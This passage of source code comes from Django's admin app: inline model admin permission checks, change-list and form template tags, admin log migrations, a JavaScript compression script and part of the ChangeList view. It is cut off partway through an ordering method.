                result = super(DeleteProtectedModelForm, self).is_valid()
                self.hand_clean_DELETE()
                return result

        defaults['form'] = DeleteProtectedModelForm

        if defaults['fields'] is None and not modelform_defines_fields(defaults['form']):
            defaults['fields'] = forms.ALL_FIELDS

        return inlineformset_factory(self.parent_model, self.model, **defaults)

    def get_fields(self, request, obj=None):
        if self.fields:
            return self.fields
        form = self.get_formset(request, obj, fields=None).form
        return list(form.base_fields) + list(self.get_readonly_fields(request, obj))

    def get_queryset(self, request):
        queryset = super(InlineModelAdmin, self).get_queryset(request)
        if not self.has_change_permission(request):
            queryset = queryset.none()
        return queryset

    def has_add_permission(self, request):
        if self.opts.auto_created:
            # We're checking the rights to an auto-created intermediate model,
            # which doesn't have its own individual permissions. The user needs
            # to have the change permission for the related model in order to
            # be able to do anything with the intermediate model.
            return self.has_change_permission(request)
        return super(InlineModelAdmin, self).has_add_permission(request)

    def has_change_permission(self, request, obj=None):
        opts = self.opts
        if opts.auto_created:
            # The model was auto-created as intermediary for a
            # ManyToMany-relationship, find the target model
            for field in opts.fields:
                if field.remote_field and field.remote_field.model != self.parent_model:
                    opts = field.remote_field.model._meta
                    break
        codename = get_permission_codename('change', opts)
        return request.user.has_perm("%s.%s" % (opts.app_label, codename))

    def has_delete_permission(self, request, obj=None):
        if self.opts.auto_created:
            # We're checking the rights to an auto-created intermediate model,
            # which doesn't have its own individual permissions. The user needs
            # to have the change permission for the related model in order to
            # be able to do anything with the intermediate model.
            return self.has_change_permission(request, obj)
        return super(InlineModelAdmin, self).has_delete_permission(request, obj)


class StackedInline(InlineModelAdmin):
    template = 'admin/edit_inline/stacked.html'


class TabularInline(InlineModelAdmin):
    template = 'admin/edit_inline/tabular.html'






from __future__ import unicode_literals

import datetime
import warnings

from django.contrib.admin.templatetags.admin_urls import add_preserved_filters
from django.contrib.admin.utils import (
    display_for_field, display_for_value, get_fields_from_path,
    label_for_field, lookup_field,
)
from django.contrib.admin.views.main import (
    ALL_VAR, ORDER_VAR, PAGE_VAR, SEARCH_VAR,
)
from django.core.exceptions import ObjectDoesNotExist
from django.db import models
from django.template import Library
from django.template.loader import get_template
from django.templatetags.static import static
from django.urls import NoReverseMatch
from django.utils import formats
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text
from django.utils.html import format_html
from django.utils.safestring import mark_safe
from django.utils.text import capfirst
from django.utils.translation import ugettext as _

register = Library()

DOT = '.'


@register.simple_tag
def paginator_number(cl, i):
    """
    Generates an individual page index link in a paginated list.
    """
    if i == DOT:
        return '... '
    elif i == cl.page_num:
        return format_html('<span class="this-page">{}</span> ', i + 1)
    else:
        return format_html('<a href="{}"{}>{}</a> ',
                           cl.get_query_string({PAGE_VAR: i}),
                           mark_safe(' class="end"' if i == cl.paginator.num_pages - 1 else ''),
                           i + 1)


@register.inclusion_tag('admin/pagination.html')
def pagination(cl):
    """
    Generates the series of links to the pages in a paginated list.
    """
    paginator, page_num = cl.paginator, cl.page_num

    pagination_required = (not cl.show_all or not cl.can_show_all) and cl.multi_page
    if not pagination_required:
        page_range = []
    else:
        ON_EACH_SIDE = 3
        ON_ENDS = 2

        # If there are 10 or fewer pages, display links to every page.
        # Otherwise, do some fancy
        if paginator.num_pages <= 10:
            page_range = range(paginator.num_pages)
        else:
            # Insert "smart" pagination links, so that there are always ON_ENDS
            # links at either end of the list of pages, and there are always
            # ON_EACH_SIDE links at either end of the "current page" link.
            page_range = []
            if page_num > (ON_EACH_SIDE + ON_ENDS):
                page_range.extend(range(0, ON_ENDS))
                page_range.append(DOT)
                page_range.extend(range(page_num - ON_EACH_SIDE, page_num + 1))
            else:
                page_range.extend(range(0, page_num + 1))
            if page_num < (paginator.num_pages - ON_EACH_SIDE - ON_ENDS - 1):
                page_range.extend(range(page_num + 1, page_num + ON_EACH_SIDE + 1))
                page_range.append(DOT)
                page_range.extend(range(paginator.num_pages - ON_ENDS, paginator.num_pages))
            else:
                page_range.extend(range(page_num + 1, paginator.num_pages))

    need_show_all_link = cl.can_show_all and not cl.show_all and cl.multi_page
    return {
        'cl': cl,
        'pagination_required': pagination_required,
        'show_all_url': need_show_all_link and cl.get_query_string({ALL_VAR: ''}),
        'page_range': page_range,
        'ALL_VAR': ALL_VAR,
        '1': 1,
    }


def result_headers(cl):
    """
    Generates the list column headers.
    """
    ordering_field_columns = cl.get_ordering_field_columns()
    for i, field_name in enumerate(cl.list_display):
        text, attr = label_for_field(
            field_name, cl.model,
            model_admin=cl.model_admin,
            return_attr=True
        )
        if attr:
            field_name = _coerce_field_name(field_name, i)
            # Potentially not sortable

            # if the field is the action checkbox: no sorting and special class
            if field_name == 'action_checkbox':
                yield {
                    "text": text,
                    "class_attrib": mark_safe(' class="action-checkbox-column"'),
                    "sortable": False,
                }
                continue

            admin_order_field = getattr(attr, "admin_order_field", None)
            if not admin_order_field:
                # Not sortable
                yield {
                    "text": text,
                    "class_attrib": format_html(' class="column-{}"', field_name),
                    "sortable": False,
                }
                continue

        # OK, it is sortable if we got this far
        th_classes = ['sortable', 'column-{}'.format(field_name)]
        order_type = ''
        new_order_type = 'asc'
        sort_priority = 0
        sorted = False
        # Is it currently being sorted on?
        if i in ordering_field_columns:
            sorted = True
            order_type = ordering_field_columns.get(i).lower()
            sort_priority = list(ordering_field_columns).index(i) + 1
            th_classes.append('sorted %sending' % order_type)
            new_order_type = {'asc': 'desc', 'desc': 'asc'}[order_type]

        # build new ordering param
        o_list_primary = []  # URL for making this field the primary sort
        o_list_remove = []  # URL for removing this field from sort
        o_list_toggle = []  # URL for toggling order type for this field

        def make_qs_param(t, n):
            return ('-' if t == 'desc' else '') + str(n)

        for j, ot in ordering_field_columns.items():
            if j == i:  # Same column
                param = make_qs_param(new_order_type, j)
                # We want clicking on this header to bring the ordering to the
                # front
                o_list_primary.insert(0, param)
                o_list_toggle.append(param)
                # o_list_remove - omit
            else:
                param = make_qs_param(ot, j)
                o_list_primary.append(param)
                o_list_toggle.append(param)
                o_list_remove.append(param)

        if i not in ordering_field_columns:
            o_list_primary.insert(0, make_qs_param(new_order_type, i))

        yield {
            "text": text,
            "sortable": True,
            "sorted": sorted,
            "ascending": order_type == "asc",
            "sort_priority": sort_priority,
            "url_primary": cl.get_query_string({ORDER_VAR: '.'.join(o_list_primary)}),
            "url_remove": cl.get_query_string({ORDER_VAR: '.'.join(o_list_remove)}),
            "url_toggle": cl.get_query_string({ORDER_VAR: '.'.join(o_list_toggle)}),
            "class_attrib": format_html(' class="{}"', ' '.join(th_classes)) if th_classes else '',
        }


def _boolean_icon(field_val):
    icon_url = static('admin/img/icon-%s.svg' %
                      {True: 'yes', False: 'no', None: 'unknown'}[field_val])
    return format_html('<img src="{}" alt="{}" />', icon_url, field_val)


def _coerce_field_name(field_name, field_index):
    """
    Coerce a field_name (which may be a callable) to a string.
    """
    if callable(field_name):
        if field_name.__name__ == '<lambda>':
            return 'lambda' + str(field_index)
        else:
            return field_name.__name__
    return field_name


def items_for_result(cl, result, form):
    """
    Generates the actual list of data.
    """

    def link_in_col(is_first, field_name, cl):
        if cl.list_display_links is None:
            return False
        if is_first and not cl.list_display_links:
            return True
        return field_name in cl.list_display_links

    first = True
    pk = cl.lookup_opts.pk.attname
    for field_index, field_name in enumerate(cl.list_display):
        empty_value_display = cl.model_admin.get_empty_value_display()
        row_classes = ['field-%s' % _coerce_field_name(field_name, field_index)]
        try:
            f, attr, value = lookup_field(field_name, result, cl.model_admin)
        except ObjectDoesNotExist:
            result_repr = empty_value_display
        else:
            empty_value_display = getattr(attr, 'empty_value_display', empty_value_display)
            if f is None or f.auto_created:
                if field_name == 'action_checkbox':
                    row_classes = ['action-checkbox']
                allow_tags = getattr(attr, 'allow_tags', False)
                boolean = getattr(attr, 'boolean', False)
                result_repr = display_for_value(value, empty_value_display, boolean)
                if allow_tags:
                    warnings.warn(
                        "Deprecated allow_tags attribute used on field {}. "
                        "Use django.utils.safestring.format_html(), "
                        "format_html_join(), or mark_safe() instead.".format(field_name),
                        RemovedInDjango20Warning
                    )
                    result_repr = mark_safe(result_repr)
                if isinstance(value, (datetime.date, datetime.time)):
                    row_classes.append('nowrap')
            else:
                if isinstance(f.remote_field, models.ManyToOneRel):
                    field_val = getattr(result, f.name)
                    if field_val is None:
                        result_repr = empty_value_display
                    else:
                        result_repr = field_val
                else:
                    result_repr = display_for_field(value, f, empty_value_display)
                if isinstance(f, (models.DateField, models.TimeField, models.ForeignKey)):
                    row_classes.append('nowrap')
        if force_text(result_repr) == '':
            result_repr = mark_safe('&nbsp;')
        row_class = mark_safe(' class="%s"' % ' '.join(row_classes))
        # If list_display_links not defined, add the link tag to the first field
        if link_in_col(first, field_name, cl):
            table_tag = 'th' if first else 'td'
            first = False

            # Display link to the result's change_view if the url exists, else
            # display just the result's representation.
            try:
                url = cl.url_for_result(result)
            except NoReverseMatch:
                link_or_text = result_repr
            else:
                url = add_preserved_filters({'preserved_filters': cl.preserved_filters, 'opts': cl.opts}, url)
                # Convert the pk to something that can be used in Javascript.
                # Problem cases are long ints (23L) and non-ASCII strings.
                if cl.to_field:
                    attr = str(cl.to_field)
                else:
                    attr = pk
                value = result.serializable_value(attr)
                link_or_text = format_html(
                    '<a href="{}"{}>{}</a>',
                    url,
                    format_html(
                        ' data-popup-opener="{}"', value
                    ) if cl.is_popup else '',
                    result_repr)

            yield format_html('<{}{}>{}</{}>',
                              table_tag,
                              row_class,
                              link_or_text,
                              table_tag)
        else:
            # By default the fields come from ModelAdmin.list_editable, but if we pull
            # the fields out of the form instead of list_editable custom admins
            # can provide fields on a per request basis
            if (form and field_name in form.fields and not (
                    field_name == cl.model._meta.pk.name and
                    form[cl.model._meta.pk.name].is_hidden)):
                bf = form[field_name]
                result_repr = mark_safe(force_text(bf.errors) + force_text(bf))
            yield format_html('<td{}>{}</td>', row_class, result_repr)
    if form and not form[cl.model._meta.pk.name].is_hidden:
        yield format_html('<td>{}</td>', force_text(form[cl.model._meta.pk.name]))


class ResultList(list):
    # Wrapper class used to return items in a list_editable
    # changelist, annotated with the form object for error
    # reporting purposes. Needed to maintain backwards
    # compatibility with existing admin templates.
    def __init__(self, form, *items):
        self.form = form
        super(ResultList, self).__init__(*items)


def results(cl):
    if cl.formset:
        for res, form in zip(cl.result_list, cl.formset.forms):
            yield ResultList(form, items_for_result(cl, res, form))
    else:
        for res in cl.result_list:
            yield ResultList(None, items_for_result(cl, res, None))


def result_hidden_fields(cl):
    if cl.formset:
        for res, form in zip(cl.result_list, cl.formset.forms):
            if form[cl.model._meta.pk.name].is_hidden:
                yield mark_safe(force_text(form[cl.model._meta.pk.name]))


@register.inclusion_tag("admin/change_list_results.html")
def result_list(cl):
    """
    Displays the headers and data list together
    """
    headers = list(result_headers(cl))
    num_sorted_fields = 0
    for h in headers:
        if h['sortable'] and h['sorted']:
            num_sorted_fields += 1
    return {'cl': cl,
            'result_hidden_fields': list(result_hidden_fields(cl)),
            'result_headers': headers,
            'num_sorted_fields': num_sorted_fields,
            'results': list(results(cl))}


@register.inclusion_tag('admin/date_hierarchy.html')
def date_hierarchy(cl):
    """
    Displays the date hierarchy for date drill-down functionality.
    """
    if cl.date_hierarchy:
        field_name = cl.date_hierarchy
        field = get_fields_from_path(cl.model, field_name)[-1]
        dates_or_datetimes = 'datetimes' if isinstance(field, models.DateTimeField) else 'dates'
        year_field = '%s__year' % field_name
        month_field = '%s__month' % field_name
        day_field = '%s__day' % field_name
        field_generic = '%s__' % field_name
        year_lookup = cl.params.get(year_field)
        month_lookup = cl.params.get(month_field)
        day_lookup = cl.params.get(day_field)

        def link(filters):
            return cl.get_query_string(filters, [field_generic])

        if not (year_lookup or month_lookup or day_lookup):
            # select appropriate start level
            date_range = cl.queryset.aggregate(first=models.Min(field_name),
                                               last=models.Max(field_name))
            if date_range['first'] and date_range['last']:
                if date_range['first'].year == date_range['last'].year:
                    year_lookup = date_range['first'].year
                    if date_range['first'].month == date_range['last'].month:
                        month_lookup = date_range['first'].month

        if year_lookup and month_lookup and day_lookup:
            day = datetime.date(int(year_lookup), int(month_lookup), int(day_lookup))
            return {
                'show': True,
                'back': {
                    'link': link({year_field: year_lookup, month_field: month_lookup}),
                    'title': capfirst(formats.date_format(day, 'YEAR_MONTH_FORMAT'))
                },
                'choices': [{'title': capfirst(formats.date_format(day, 'MONTH_DAY_FORMAT'))}]
            }
        elif year_lookup and month_lookup:
            days = cl.queryset.filter(**{year_field: year_lookup, month_field: month_lookup})
            days = getattr(days, dates_or_datetimes)(field_name, 'day')
            return {
                'show': True,
                'back': {
                    'link': link({year_field: year_lookup}),
                    'title': str(year_lookup)
                },
                'choices': [{
                    'link': link({year_field: year_lookup, month_field: month_lookup, day_field: day.day}),
                    'title': capfirst(formats.date_format(day, 'MONTH_DAY_FORMAT'))
                } for day in days]
            }
        elif year_lookup:
            months = cl.queryset.filter(**{year_field: year_lookup})
            months = getattr(months, dates_or_datetimes)(field_name, 'month')
            return {
                'show': True,
                'back': {
                    'link': link({}),
                    'title': _('All dates')
                },
                'choices': [{
                    'link': link({year_field: year_lookup, month_field: month.month}),
                    'title': capfirst(formats.date_format(month, 'YEAR_MONTH_FORMAT'))
                } for month in months]
            }
        else:
            years = getattr(cl.queryset, dates_or_datetimes)(field_name, 'year')
            return {
                'show': True,
                'choices': [{
                    'link': link({year_field: str(year.year)}),
                    'title': str(year.year),
                } for year in years]
            }


@register.inclusion_tag('admin/search_form.html')
def search_form(cl):
    """
    Displays a search form for searching the list.
    """
    return {
        'cl': cl,
        'show_result_count': cl.result_count != cl.full_result_count,
        'search_var': SEARCH_VAR
    }


@register.simple_tag
def admin_list_filter(cl, spec):
    tpl = get_template(spec.template)
    return tpl.render({
        'title': spec.title,
        'choices': list(spec.choices(cl)),
        'spec': spec,
    })


@register.inclusion_tag('admin/actions.html', takes_context=True)
def admin_actions(context):
    """
    Track the number of times the action field has been rendered on the page,
    so we know which value to use.
    """
    context['action_index'] = context.get('action_index', -1) + 1
    return context






import json

from django import template
from django.template.context import Context

register = template.Library()


@register.inclusion_tag('admin/prepopulated_fields_js.html', takes_context=True)
def prepopulated_fields_js(context):
    """
    Creates a list of prepopulated_fields that should render Javascript for
    the prepopulated fields for both the admin form and inlines.
    """
    prepopulated_fields = []
    if 'adminform' in context:
        prepopulated_fields.extend(context['adminform'].prepopulated_fields)
    if 'inline_admin_formsets' in context:
        for inline_admin_formset in context['inline_admin_formsets']:
            for inline_admin_form in inline_admin_formset:
                if inline_admin_form.original is None:
                    prepopulated_fields.extend(inline_admin_form.prepopulated_fields)

    prepopulated_fields_json = []
    for field in prepopulated_fields:
        prepopulated_fields_json.append({
            "id": "#%s" % field["field"].auto_id,
            "name": field["field"].name,
            "dependency_ids": ["#%s" % dependency.auto_id for dependency in field["dependencies"]],
            "dependency_list": [dependency.name for dependency in field["dependencies"]],
            "maxLength": field["field"].field.max_length or 50,
            "allowUnicode": getattr(field["field"].field, "allow_unicode", False)
        })

    context.update({
        'prepopulated_fields': prepopulated_fields,
        'prepopulated_fields_json': json.dumps(prepopulated_fields_json),
    })
    return context


@register.inclusion_tag('admin/submit_line.html', takes_context=True)
def submit_row(context):
    """
    Displays the row of buttons for delete and save.
    """
    change = context['change']
    is_popup = context['is_popup']
    save_as = context['save_as']
    show_save = context.get('show_save', True)
    show_save_and_continue = context.get('show_save_and_continue', True)
    ctx = Context(context)
    ctx.update({
        'show_delete_link': (
            not is_popup and context['has_delete_permission'] and
            change and context.get('show_delete', True)
        ),
        'show_save_as_new': not is_popup and change and save_as,
        'show_save_and_add_another': (
            context['has_add_permission'] and not is_popup and
            (not save_as or context['add'])
        ),
        'show_save_and_continue': not is_popup and context['has_change_permission'] and show_save_and_continue,
        'show_save': show_save,
    })
    return ctx


@register.filter
def cell_count(inline_admin_form):
    """Returns the number of cells used in a tabular inline"""
    count = 1  # Hidden cell with hidden 'id' field
    for fieldset in inline_admin_form:
        # Loop through all the fields (one per cell)
        for line in fieldset:
            for field in line:
                count += 1
    if inline_admin_form.formset.can_delete:
        # Delete checkbox
        count += 1
    return count






from django.template import Library
from django.templatetags.static import static as _static

register = Library()


@register.simple_tag
def static(path):
    # Backwards compatibility alias for django.templatetags.static.static().
    # Deprecation should start in Django 2.0.
    return _static(path)












from django import template
from django.contrib.admin.models import LogEntry

register = template.Library()


class AdminLogNode(template.Node):
    def __init__(self, limit, varname, user):
        self.limit, self.varname, self.user = limit, varname, user

    def __repr__(self):
        return "<GetAdminLog Node>"

    def render(self, context):
        if self.user is None:
            entries = LogEntry.objects.all()
        else:
            user_id = self.user
            if not user_id.isdigit():
                user_id = context[self.user].pk
            entries = LogEntry.objects.filter(user__pk=user_id)
        context[self.varname] = entries.select_related('content_type', 'user')[:int(self.limit)]
        return ''


@register.tag
def get_admin_log(parser, token):
    """
    Populates a template variable with the admin log for the given criteria.

    Usage::

        {% get_admin_log [limit] as [varname] for_user [context_var_containing_user_obj] %}

    Examples::

        {% get_admin_log 10 as admin_log for_user 23 %}
        {% get_admin_log 10 as admin_log for_user user %}
        {% get_admin_log 10 as admin_log %}

    Note that ``context_var_containing_user_obj`` can be a hard-coded integer
    (user ID) or the name of a template context variable containing the user
    object whose ID you want.
    """
    tokens = token.contents.split()
    if len(tokens) < 4:
        raise template.TemplateSyntaxError(
            "'get_admin_log' statements require two arguments")
    if not tokens[1].isdigit():
        raise template.TemplateSyntaxError(
            "First argument to 'get_admin_log' must be an integer")
    if tokens[2] != 'as':
        raise template.TemplateSyntaxError(
            "Second argument to 'get_admin_log' must be 'as'")
    if len(tokens) > 4:
        if tokens[4] != 'for_user':
            raise template.TemplateSyntaxError(
                "Fourth argument to 'get_admin_log' must be 'for_user'")
    return AdminLogNode(limit=tokens[1], varname=tokens[3], user=(tokens[5] if len(tokens) > 5 else None))






from django import template
from django.contrib.admin.utils import quote
from django.urls import Resolver404, get_script_prefix, resolve
from django.utils.http import urlencode
from django.utils.six.moves.urllib.parse import parse_qsl, urlparse, urlunparse

register = template.Library()


@register.filter
def admin_urlname(value, arg):
    return 'admin:%s_%s_%s' % (value.app_label, value.model_name, arg)


@register.filter
def admin_urlquote(value):
    return quote(value)


@register.simple_tag(takes_context=True)
def add_preserved_filters(context, url, popup=False, to_field=None):
    opts = context.get('opts')
    preserved_filters = context.get('preserved_filters')

    parsed_url = list(urlparse(url))
    parsed_qs = dict(parse_qsl(parsed_url[4]))
    merged_qs = dict()

    if opts and preserved_filters:
        preserved_filters = dict(parse_qsl(preserved_filters))

        match_url = '/%s' % url.partition(get_script_prefix())[2]
        try:
            match = resolve(match_url)
        except Resolver404:
            pass
        else:
            current_url = '%s:%s' % (match.app_name, match.url_name)
            changelist_url = 'admin:%s_%s_changelist' % (opts.app_label, opts.model_name)
            if changelist_url == current_url and '_changelist_filters' in preserved_filters:
                preserved_filters = dict(parse_qsl(preserved_filters['_changelist_filters']))

        merged_qs.update(preserved_filters)

    if popup:
        from django.contrib.admin.options import IS_POPUP_VAR
        merged_qs[IS_POPUP_VAR] = 1
    if to_field:
        from django.contrib.admin.options import TO_FIELD_VAR
        merged_qs[TO_FIELD_VAR] = to_field

    merged_qs.update(parsed_qs)

    parsed_url[4] = urlencode(merged_qs)
    return urlunparse(parsed_url)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import django.contrib.admin.models
from django.conf import settings
from django.db import migrations, models


class Migration(migrations.Migration):

    dependencies = [
        migrations.swappable_dependency(settings.AUTH_USER_MODEL),
        ('contenttypes', '__first__'),
    ]

    operations = [
        migrations.CreateModel(
            name='LogEntry',
            fields=[
                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),
                ('action_time', models.DateTimeField(auto_now=True, verbose_name='action time')),
                ('object_id', models.TextField(null=True, verbose_name='object id', blank=True)),
                ('object_repr', models.CharField(max_length=200, verbose_name='object repr')),
                ('action_flag', models.PositiveSmallIntegerField(verbose_name='action flag')),
                ('change_message', models.TextField(verbose_name='change message', blank=True)),
                ('content_type', models.ForeignKey(
                    to_field='id',
                    on_delete=models.SET_NULL,
                    blank=True, null=True,
                    to='contenttypes.ContentType',
                    verbose_name='content type',
                )),
                ('user', models.ForeignKey(
                    to=settings.AUTH_USER_MODEL,
                    on_delete=models.CASCADE,
                    verbose_name='user',
                )),
            ],
            options={
                'ordering': ('-action_time',),
                'db_table': 'django_admin_log',
                'verbose_name': 'log entry',
                'verbose_name_plural': 'log entries',
            },
            bases=(models.Model,),
            managers=[
                ('objects', django.contrib.admin.models.LogEntryManager()),
            ],
        ),
    ]












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import migrations, models
from django.utils import timezone


class Migration(migrations.Migration):

    dependencies = [
        ('admin', '0001_initial'),
    ]

    # No database changes; removes auto_add and adds default/editable.
    operations = [
        migrations.AlterField(
            model_name='logentry',
            name='action_time',
            field=models.DateTimeField(
                verbose_name='action time',
                default=timezone.now,
                editable=False,
            ),
        ),
    ]






#!/usr/bin/env python
import argparse
import os
import subprocess
import sys

try:
    import closure
except ImportError:
    closure_compiler = None
else:
    closure_compiler = os.path.join(os.path.dirname(closure.__file__), 'closure.jar')

js_path = os.path.join(os.path.dirname(os.path.dirname(__file__)), 'static', 'admin', 'js')


def main():
    description = """With no file paths given this script will automatically
compress all jQuery-based files of the admin app. Requires the Google Closure
Compiler library and Java version 6 or later."""
    parser = argparse.ArgumentParser(description=description)
    parser.add_argument('file', nargs='*')
    parser.add_argument(
        "-c", dest="compiler", default="~/bin/compiler.jar",
        help="path to Closure Compiler jar file",
    )
    parser.add_argument("-v", "--verbose", action="store_true", dest="verbose")
    parser.add_argument("-q", "--quiet", action="store_false", dest="verbose")
    options = parser.parse_args()

    compiler = closure_compiler if closure_compiler else os.path.expanduser(options.compiler)
    if not os.path.exists(compiler):
        sys.exit(
            "Google Closure compiler jar file %s not found. Please use the -c "
            "option to specify the path." % compiler
        )

    if not options.file:
        if options.verbose:
            sys.stdout.write("No filenames given; defaulting to admin scripts\n")
        files = [
            os.path.join(js_path, f) for f in
            ["actions.js", "collapse.js", "inlines.js", "prepopulate.js"]
        ]
    else:
        files = options.file

    for file_name in files:
        if not file_name.endswith(".js"):
            file_name = file_name + ".js"
        to_compress = os.path.expanduser(file_name)
        if os.path.exists(to_compress):
            to_compress_min = "%s.min.js" % "".join(file_name.rsplit(".js"))
            cmd = "java -jar %s --js %s --js_output_file %s" % (compiler, to_compress, to_compress_min)
            if options.verbose:
                sys.stdout.write("Running: %s\n" % cmd)
            subprocess.call(cmd.split())
        else:
            sys.stdout.write("File %s not found. Sure it exists?\n" % to_compress)

if __name__ == '__main__':
    main()






import sys
from collections import OrderedDict

from django.contrib.admin import FieldListFilter
from django.contrib.admin.exceptions import (
    DisallowedModelAdminLookup, DisallowedModelAdminToField,
)
from django.contrib.admin.options import (
    IS_POPUP_VAR, TO_FIELD_VAR, IncorrectLookupParameters,
)
from django.contrib.admin.utils import (
    get_fields_from_path, lookup_needs_distinct, prepare_lookup_value, quote,
)
from django.core.exceptions import (
    FieldDoesNotExist, ImproperlyConfigured, SuspiciousOperation,
)
from django.core.paginator import InvalidPage
from django.db import models
from django.urls import reverse
from django.utils import six
from django.utils.encoding import force_text
from django.utils.http import urlencode
from django.utils.translation import ugettext

# Changelist settings
ALL_VAR = 'all'
ORDER_VAR = 'o'
ORDER_TYPE_VAR = 'ot'
PAGE_VAR = 'p'
SEARCH_VAR = 'q'
ERROR_FLAG = 'e'

IGNORED_PARAMS = (
    ALL_VAR, ORDER_VAR, ORDER_TYPE_VAR, SEARCH_VAR, IS_POPUP_VAR, TO_FIELD_VAR)


class ChangeList(object):
    def __init__(self, request, model, list_display, list_display_links,
                 list_filter, date_hierarchy, search_fields, list_select_related,
                 list_per_page, list_max_show_all, list_editable, model_admin):
        self.model = model
        self.opts = model._meta
        self.lookup_opts = self.opts
        self.root_queryset = model_admin.get_queryset(request)
        self.list_display = list_display
        self.list_display_links = list_display_links
        self.list_filter = list_filter
        self.date_hierarchy = date_hierarchy
        self.search_fields = search_fields
        self.list_select_related = list_select_related
        self.list_per_page = list_per_page
        self.list_max_show_all = list_max_show_all
        self.model_admin = model_admin
        self.preserved_filters = model_admin.get_preserved_filters(request)

        # Get search parameters from the query string.
        try:
            self.page_num = int(request.GET.get(PAGE_VAR, 0))
        except ValueError:
            self.page_num = 0
        self.show_all = ALL_VAR in request.GET
        self.is_popup = IS_POPUP_VAR in request.GET
        to_field = request.GET.get(TO_FIELD_VAR)
        if to_field and not model_admin.to_field_allowed(request, to_field):
            raise DisallowedModelAdminToField("The field %s cannot be referenced." % to_field)
        self.to_field = to_field
        self.params = dict(request.GET.items())
        if PAGE_VAR in self.params:
            del self.params[PAGE_VAR]
        if ERROR_FLAG in self.params:
            del self.params[ERROR_FLAG]

        if self.is_popup:
            self.list_editable = ()
        else:
            self.list_editable = list_editable
        self.query = request.GET.get(SEARCH_VAR, '')
        self.queryset = self.get_queryset(request)
        self.get_results(request)
        if self.is_popup:
            title = ugettext('Select %s')
        else:
            title = ugettext('Select %s to change')
        self.title = title % force_text(self.opts.verbose_name)
        self.pk_attname = self.lookup_opts.pk.attname

    def get_filters_params(self, params=None):
        """
        Returns all params except IGNORED_PARAMS
        """
        if not params:
            params = self.params
        lookup_params = params.copy()  # a dictionary of the query string
        # Remove all the parameters that are globally and systematically
        # ignored.
        for ignored in IGNORED_PARAMS:
            if ignored in lookup_params:
                del lookup_params[ignored]
        return lookup_params

    def get_filters(self, request):
        lookup_params = self.get_filters_params()
        use_distinct = False

        for key, value in lookup_params.items():
            if not self.model_admin.lookup_allowed(key, value):
                raise DisallowedModelAdminLookup("Filtering by %s not allowed" % key)

        filter_specs = []
        if self.list_filter:
            for list_filter in self.list_filter:
                if callable(list_filter):
                    # This is simply a custom list filter class.
                    spec = list_filter(request, lookup_params, self.model, self.model_admin)
                else:
                    field_path = None
                    if isinstance(list_filter, (tuple, list)):
                        # This is a custom FieldListFilter class for a given field.
                        field, field_list_filter_class = list_filter
                    else:
                        # This is simply a field name, so use the default
                        # FieldListFilter class that has been registered for
                        # the type of the given field.
                        field, field_list_filter_class = list_filter, FieldListFilter.create
                    if not isinstance(field, models.Field):
                        field_path = field
                        field = get_fields_from_path(self.model, field_path)[-1]
                    spec = field_list_filter_class(
                        field, request, lookup_params,
                        self.model, self.model_admin, field_path=field_path
                    )
                    # Check if we need to use distinct()
                    use_distinct = use_distinct or lookup_needs_distinct(self.lookup_opts, field_path)
                if spec and spec.has_output():
                    filter_specs.append(spec)

        # At this point, all the parameters used by the various ListFilters
        # have been removed from lookup_params, which now only contains other
        # parameters passed via the query string. We now loop through the
        # remaining parameters both to ensure that all the parameters are valid
        # fields and to determine if at least one of them needs distinct(). If
        # the lookup parameters aren't real fields, then bail out.
        try:
            for key, value in lookup_params.items():
                lookup_params[key] = prepare_lookup_value(key, value)
                use_distinct = use_distinct or lookup_needs_distinct(self.lookup_opts, key)
            return filter_specs, bool(filter_specs), lookup_params, use_distinct
        except FieldDoesNotExist as e:
            six.reraise(IncorrectLookupParameters, IncorrectLookupParameters(e), sys.exc_info()[2])

    def get_query_string(self, new_params=None, remove=None):
        if new_params is None:
            new_params = {}
        if remove is None:
            remove = []
        p = self.params.copy()
        for r in remove:
            for k in list(p):
                if k.startswith(r):
                    del p[k]
        for k, v in new_params.items():
            if v is None:
                if k in p:
                    del p[k]
            else:
                p[k] = v
        return '?%s' % urlencode(sorted(p.items()))

    def get_results(self, request):
        paginator = self.model_admin.get_paginator(request, self.queryset, self.list_per_page)
        # Get the number of objects, with admin filters applied.
        result_count = paginator.count

        # Get the total number of objects, with no admin filters applied.
        if self.model_admin.show_full_result_count:
            full_result_count = self.root_queryset.count()
        else:
            full_result_count = None
        can_show_all = result_count <= self.list_max_show_all
        multi_page = result_count > self.list_per_page

        # Get the list of objects to display on this page.
        if (self.show_all and can_show_all) or not multi_page:
            result_list = self.queryset._clone()
        else:
            try:
                result_list = paginator.page(self.page_num + 1).object_list
            except InvalidPage:
                raise IncorrectLookupParameters

        self.result_count = result_count
        self.show_full_result_count = self.model_admin.show_full_result_count
        # Admin actions are shown if there is at least one entry
        # or if entries are not counted because show_full_result_count is disabled
        self.show_admin_actions = not self.show_full_result_count or bool(full_result_count)
        self.full_result_count = full_result_count
        self.result_list = result_list
        self.can_show_all = can_show_all
        self.multi_page = multi_page
        self.paginator = paginator

    def _get_default_ordering(self):
        ordering = []
        if self.model_admin.ordering:
            ordering = self.model_admin.ordering
        elif self.lookup_opts.ordering:
            ordering = self.lookup_opts.ordering
        return ordering

    def get_ordering_field(self, field_name):
        """
        Returns the proper model field name corresponding to the given
        field_name to use for ordering. field_name may either be the name of a
        proper model field or the name of a method (on the admin or model) or a
        callable with the 'admin_order_field' attribute. Returns None if no
        proper model field name can be matched.
        """
        try:
            field = self.lookup_opts.get_field(field_name)
            return field.name
        except FieldDoesNotExist:
            # See whether field_name is a name of a non-field
            # that allows sorting.
            if callable(field_name):
                attr = field_name
            elif hasattr(self.model_admin, field_name):
                attr = getattr(self.model_admin, field_name)
            else:
                attr = getattr(self.model, field_name)
            return getattr(attr, 'admin_order_field', None)

    def get_ordering(self, request, queryset):
        """
        Returns the list of ordering fields for the change list.
        First we check the get_ordering() method in model admin, then we check
        the object's default ordering. Then, any manually-specified ordering
        from the query string overrides anything. Finally, a deterministic
        order is guaranteed by ensuring the primary key is used as the last
        ordering field.
        """
        params = self.params
        ordering = list(self.model_admin.get_ordering(request) or self._get_default_ordering())
        if ORDER_VAR in params:
            # Clear ordering and used params
            ordering = []
            order_params = params[ORDER_VAR].split('.')
            for p in order_params:
                try:
                    none, pfx, idx = p.rpartition('-')
                    field_name = self.list_display[int(idx)]
                    order_field = self.get_ordering_field(field_name)
